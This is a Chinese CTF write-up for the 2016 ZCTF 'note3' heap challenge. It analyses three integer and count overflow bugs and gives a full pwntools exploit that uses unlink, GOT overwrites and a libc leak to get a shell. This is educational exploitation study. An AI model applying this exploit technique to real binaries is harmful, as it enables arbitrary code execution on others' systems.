2016 ZCTF note3:一种新解法
2016 ZCTF note3:一种新解法
最近在学习unlink做到了这道题,网上有两种做法:一种是利用edit功能读入id时整数溢出使索引为-1
,一种是设置块大小为0
使得写入时利用整数溢出漏洞可以将数据溢出到下一个块中。我采取了另一种思路:程序在分配id=7
块时虽然提示块已满,但没有采取措施,依然分配了一个块,并将块地址放在了存放块0 size
的位置,使得可以往块0写入足够多的数据溢出到下一个块中。
我先分析我的解法,然后再简单叙述一下另外两种解法的原理。
程序分析
一般步骤查看程序保护措施。
该程序有4个功能:
- New note
- Show note(假的,只打印一个字符串)
- Edit note
- Delete note
New功能
添加note函数如下图,主要流程已通过注释标注。值得注意的是当i=7
时,虽然提示note已满,添加失败,但没有return
语句,后面依然为它分配块并将地址保存在&ptr+7
处。(注意:i=0
时块的size保存在qword_6020C0[0+8]
处)
需要关注的是qword_6020C0
和ptr
的关系,其内存关系如下所示
.bss:00000000006020C0 ; __int64 qword_6020C0[]
.bss:00000000006020C0 qword_6020C0 dq ? ; DATA XREF: sub_400A30+D1↑w
.bss:00000000006020C0 ; sub_400A30+E6↑w ...
.bss:00000000006020C8 ; void *ptr
.bss:00000000006020C8 ptr dq ? ; DATA XREF: sub_400A30+16↑r
.bss:00000000006020C8 ; sub_400A30+BC↑w ...
.bss:00000000006020D0 dq ?
.bss:00000000006020D8 dq ?
.bss:00000000006020E0 dq ?
.bss:00000000006020E8 dq ?
.bss:00000000006020F0 dq ?
.bss:00000000006020F8 dq ?
.bss:0000000000602100 dq ?
.bss:0000000000602108 dq ?
可以看到ptr
所在位置等同于qword_6020C0[1]
所在位置,所以当i=7
时分配的块地址保存在&ptr+7
等同于保存在qword_6020C0[8]
处,即表示i=0
块的大小。通过分配i=7
块可实现i=0
块大小被新分配块地址覆写,而块地址所代表的大小足够我们溢出到后面的块内。
Show功能
该功能没什么用,只打印一串字符串。
Edit功能
如图,主要操作通过注释的方式介绍。
Delete功能
qword_6020C0[0]
可以理解为最近操作过的块地址。
漏洞利用
漏洞利用思路如下:
1.unlink
添加7个块后,再添加一个块(i=7
),这时块0的大小会被改的很大(值为块7的地址),然后在块0中构造fake_chunk并溢出到下一个块修改header数据实现unlink。需要注意第i=1
个块时大小要超过fastbin的范围。
2.泄露地址
unlink后可以实现任意写。为了泄露函数地址,需要执行输出函数,可以将free@got
值改为puts@plt
值,然后将块i
的地址改为puts@got
的地址,这时调用删除功能free(块i)
就可以输出puts@got
的值,从而得到动态链接库加载地址,进一步得到system
地址。
3.getshell
最后将atoi@got
值改为system
地址,然后在选择功能时输入/bin/sh
即可得到shell。
Expolit
漏洞利用代码如下:
from pwn import *
p = process('./note3')
#context.log_level = 'debug'
def new(size,content):
p.sendlineafter('option--->>','1')
p.sendlineafter('1024)',str(size))
p.sendlineafter('content:', content)
p.recvuntil('\n')
def edit(idx, content):
p.sendlineafter('option--->>','3')
p.sendlineafter('note:', str(idx))
p.sendlineafter('content:', content)
p.recvuntil('success')
def delete(idx):
p.sendlineafter('option--->>', '4')
p.sendlineafter('note:', str(idx))
#gdb.attach(p)
# 分配7+1个块
new(0x40, 'b'*32)
new(0x80, 'b'*32) #为进行unlink,块要大于fastbin
new(0x80, 'b'*32)
new(0x80, 'b'*32)
new(0x80, 'b'*32)
new(0x80, 'b'*32)
new(0x80, 'b'*32)
new(0x80, 'b'*32) #第0块的size变量值会被该块的地址覆盖,进而第0块可以写入足够多的数据
target = 0x6020C8 #指向ptr
fd = target - 0x18
bk = target - 0x10
# 构造fake_chunk
payload = p64(0) + p64(0x31) + p64(fd) + p64(bk) + b'a'*0x10 + p64(0x30) + b'b'*0x8
# 溢出到下一个块,覆盖chunk header
payload += p64(0x40) + p64(0x90)
edit(0,payload) # 向块0写入数据溢出
delete(1) # 触发unlink=>ptr[0]=&ptr-0x18
elf = ELF('./note3')
# 从&ptr-0x18开始写入数据 =>
# 0x6020C8(ptr+0x00): elf.got['free'] chunk0_ptr
# 0x6020D0(ptr+0x08): elf.got['puts'] chunk1_ptr
# 0x6020D8(ptr+0x10): 0x6020C8 chunk2_ptr
payload = p64(0)*3 + p64(elf.got['free']) + p64(elf.got['puts']) + p64(0x6020c8)
edit(0,payload)
# 将free@got改为puts@plt:
# 向chunk0_ptr(free@got)写入puts@plt
# 注意这里发送的地址是7位,因为程序会在用户输入后面加上\x00,若发送8位会将下一个got地址低字节变为0。这里puts@plt高字节也为\x00,所以发送7位无影响。
edit(0, p64(elf.plt['puts'])[:-1])
# 原会调用free(chunk1_put),实际调用puts(puts@got)泄露地址
delete(1)
p.recvuntil('\n')
# 读取泄露的地址值
puts_addr = u64(p.recvuntil('\n')[:-1].ljust(8,b'\x00'))
print(hex(puts_addr))
# 任意地址写,通过edit chunk2_ptr来修改chunk0_ptr的指向,再通过edit chunk0_ptr修改chunk0_ptr指向的值。
def write(where,what):
edit(2, p64(where))
edit(0, p64(what))
# 获取libc基址
libc = ELF('./libc-2.23.so')
libc_base = puts_addr - libc.symbols['puts']
log.success('libc base: ' + hex(libc_base))
# 获取system函数地址
sys_addr = libc_base + libc.symbols['system']
log.success('sys_addr: ' + hex(sys_addr))
# 将atio@got值改为system函数地址
write(elf.got['atoi'], sys_addr)
# 因为atoi改为了system,输入选项时输入"/bin/sh",会执行system("/bin/sh")
p.sendlineafter('option--->>','/bin/sh\x00')
p.interactive()
执行结果如图所示
方法2:编辑时整数溢出
下图为向块写入时的功能函数,这里变量i
定义为unsigned __int64
类型,在第7
行,当a2
为0
时,a2-1
就会变得"无限大",从而可以无限制写入数据,溢出到下一个块,利用unlink漏洞实现任意地址写,进而拿到系统shell。
方法3:输入索引整数溢出
在edit功能内,调用read_num_4009B9()
让用户输入索引,利用求余使索引小于7
。
进入read_num_4009B9()
函数内,可以看到程序对用户输入进行了判断,若小于0
则取相反数。
漏洞就出现在,当用户输入的为最大负整数(即-9223372036854775808),内存中十六进制表示为0x8000000000000000
,取相反数过程为-x=~x+1
,即0x7fffffffffffffff+1=0x8000000000000000
,在计算机表示中最大负整数的相反数还是最大负整数!
当v0
为最大负整数,则v0%7>=v0
的条件也能被满足,且结果v3
为-1
,这将向ptr[-1]
指向的地址写入内容,而ptr[-1]
指向的地址为最近操作过的块的地址。而写入的大小为qword_6020C0[-1+8]
,即ptr[6]
,其为i=6
块的地址,即可以写入"无限"多的数据,溢出到下一块实现unlink,进一步实现任意地址写、函数地址泄露、构造执行system("/bin/sh")
,拿到shell。
2016 ZCTF note3:一种新解法的更多相关文章
- ref:一种新的攻击方法——Java Web表达式注入
ref:https://blog.csdn.net/kk_gods/article/details/51840683 一种新的攻击方法——Java Web表达式注入 2016年07月06日 17:01 ...
- [原创] Easy SysLite V1.2 (2016.5.29更新,新增加WIN10支持,一个程序适配所有系统减肥)
[原创] Easy SysLite V1.2 (2016.5.29更新,新增加WIN10支持,一个程序适配所有系统减肥) nohacks 发表于 2016-5-29 17:12:51 https:// ...
- 发表在 Science 上的一种新聚类算法
今年 6 月份,Alex Rodriguez 和 Alessandro Laio 在 Science 上发表了一篇名为<Clustering by fast search and find of ...
- javascript一种新的对象创建方式-Object.create()
1.Object.create() 是什么? Object.create(proto [, propertiesObject ]) 是E5中提出的一种新的对象创建方式,第一个参数是要继承的原型,如果不 ...
- 二十八、带给我们一种新的编码思路——EFW框架CS系统开发中的MVC模式探讨
回<[开源]EFW框架系列文章索引> EFW框架源代码下载V1.3:http://pan.baidu.com/s/1c0dADO0 EFW框架实例源代码下载:http://p ...
- 今天在研究jquery用ajax提交form表单中得数据时,学习到了一种新的提交方式
今天在研究jquery用ajax提交form表单中得数据时,学习到了一种新的提交方式 jquery中的serialize() 方法 该方法通过序列化表单值,创建 URL 编码文本字符串 序列化的值可在 ...
- 你知道现在有一种新的OCR技术叫“移动端车牌识别”吗?
核心内容:车牌识别.OCR识别技术.移动端车牌识别.手机端车牌识别.安卓车牌识别.Android车牌识别.iOS车牌识别 一.移动端车牌识别OCR技术研发原理 移动端车牌识别是基于OCR识别的一种应用 ...
- Flash10下复制到剪切板的一种新方法
web开发中常常要实现“复制到剪切板”功能.这个功能很实用,但是由于安全问题,浏览器的限制越来越严,实现的方法也越来越有限了.Firefox默认下不能直接通过Javascript操作剪切板,必须开启相 ...
- 【HLSDK系列】怎么增加一种新实体
你平常肯定接触到很多比如 info_player_start hostage info_target 之类的实体,这里就解释一下怎么创建一种新的实体. 首先建立一个新的 .h 文件(当然你写在现有的文 ...
随机推荐
- 这样优化Spring Boot,启动速度快到飞起!
微服务用到一时爽,没用好就呵呵啦,特别是对于服务拆分没有把控好业务边界.拆分粒度过大等问题,某些 Spring Boot 启动速度太慢了,可能你也会有这种体验,这里将探索一下关于 Spring Boo ...
- HtmlAgilityPack中使用xpath获取属性值
HtmlAgilityPack介绍 HtmlAgilityPack是一个专门用来解析Html的库,它可以使用xml的方式来解析html. 有人说了,html本身不就是xml?是的,html就是xml, ...
- 如何创建一个带诊断工具的.NET镜像
现阶段的问题 现在是云原生和容器化时代,.NET Core对于云原生来说有非常好的兼容和亲和性,dotnet社区以及微软为.NET Core提供了非常方便的镜像容器化方案.所以现在大多数的dotnet ...
- electron-vue打包出现问题汇总
打包过程中出现下载status code 404 1.可能是网络不好,导致相关electron包无法正常下载,也有可能是需要挂代理 2.可能是编译过程的链接出现错误,一般为网址中缺少或多了一个v,建议 ...
- SQL Server、MySQL主从搭建,EF Core读写分离代码实现
一.SQL Server的主从复制搭建 1.1.SQL Server主从复制结构图 SQL Server的主从通过发布订阅来实现 1.2.基于SQL Server2016实现主从 新建一个主库&quo ...
- 一寸宕机一寸血,十万容器十万兵|Win10/Mac系统下基于Kubernetes(k8s)搭建Gunicorn+Flask高可用Web集群
原文转载自「刘悦的技术博客」https://v3u.cn/a_id_185 2021年,君不言容器技术则已,欲言容器则必称Docker,毫无疑问,它是当今最流行的容器技术之一,但是当我们面对海量的镜像 ...
- 技术分享 | 浅谈MySQL闪回的实现
欢迎来到 GreatSQL社区分享的MySQL技术文章,如有疑问或想学习的内容,可以在下方评论区留言,看到后会进行解答 1.闪回实现原理 2.binlog文件格式初探 3.闪回实现过程 1.闪回实现原 ...
- 使用.NET简单实现一个Redis的高性能克隆版(三)
译者注 该原文是Ayende Rahien大佬业余自己在使用C# 和 .NET构建一个简单.高性能兼容Redis协议的数据库的经历. 首先这个"Redis"是非常简单的实现,但是他 ...
- React报错之Expected `onClick` listener to be a function
正文从这开始~ 总览 当我们为元素的onClick属性传递一个值,但是该值却不是函数时,会产生"Expected onClick listener to be a function" ...
- STC8H开发(十六): GPIO驱动XL2400无线模块
目录 STC8H开发(一): 在Keil5中配置和使用FwLib_STC8封装库(图文详解) STC8H开发(二): 在Linux VSCode中配置和使用FwLib_STC8封装库(图文详解) ST ...